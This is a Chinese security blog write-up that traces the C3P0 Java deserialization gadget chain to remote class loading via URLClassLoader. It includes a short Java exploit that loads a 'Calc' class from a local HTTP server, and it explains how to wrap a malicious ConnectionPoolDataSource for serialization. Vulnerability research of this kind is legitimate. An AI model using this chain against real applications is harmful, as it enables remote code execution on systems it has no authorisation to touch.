0x01 前言
再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个
0x02 C3P0 组件介绍
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有
Hibernate,Spring 等。
JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC
驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多
0x03 C3P0 反序列化漏洞
环境
jdk8u65
pom.xml 如下
< dependency >
< groupId >com.mchange</ groupId >
< artifactId >c3p0</ artifactId >
< version >0.9.5.2</ version >
</ dependency >
C3P0 反序列化三条 Gadgets
• 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。
好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种
• URLClassLoader 远程类加载
• JNDI 注入
• 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了
我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。
C3P0 之 URLClassLoader 的链子
C3P0 之 URLClassLoader 流程分析
我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢?
我的第一想法是,获取数据源很可能是通过 URLClassLoader
的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。
后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。
找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法
最后还有类的加载 ———— instance(),我们的链子尾部就找好了。
继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()
ReferenceIndirector 类的 getObject() 方法调用了
ReferenceableUtils.referenceToObject(),继续往上找
PoolBackedDataSourceBase#readObject() 调用了
ReferenceIndirector#getObject(),同时这也正好是一个入口类。
总结链子流程图如图
C3P0 之 URLClassLoader EXP 编写
手写一遍 EXP 试试
先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。
EXP 如下
public class RefToURLClassLoader {
public static void main(String[] args) throws
ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
IllegalAccessException, NamingException, InstantiationException {
Class clazz = Class.forName(“com.mchange.v2.naming.ReferenceableUtils”);
Reference reference = new Reference(“Calc”,
“Calc”,“http://127.0.0.1:9999/”);
Method method = clazz.getDeclaredMethod(“referenceToObject”, Reference.class,
Name.class, Context.class, Hashtable.class);
method.setAccessible( true );
Object o = method.invoke(clazz, reference, null , null , null
);
Object object = method.invoke(o, null , null , null , null
);
}
}
继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法
这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是
IndirectlySerialized 这个类。
在进行完这个判断之后
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了
ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable
接口,所以是无法直接用于代码里面的。
这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么
如图,直接包装了一层 indirector.indirectForm()
我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是
com.mchange.v2.naming.ReferenceIndirector,所以语句也可以这么改写
ReferenceIndirector.indirectForm()
经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么
这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类
跟进一下继承的接口
发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 “ConnectionPoolDataSource” 外表上还是
“ConnectionPoolDataSource”,但是实际上已经变成了 “ReferenceSerialized”
这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。
EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。
通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类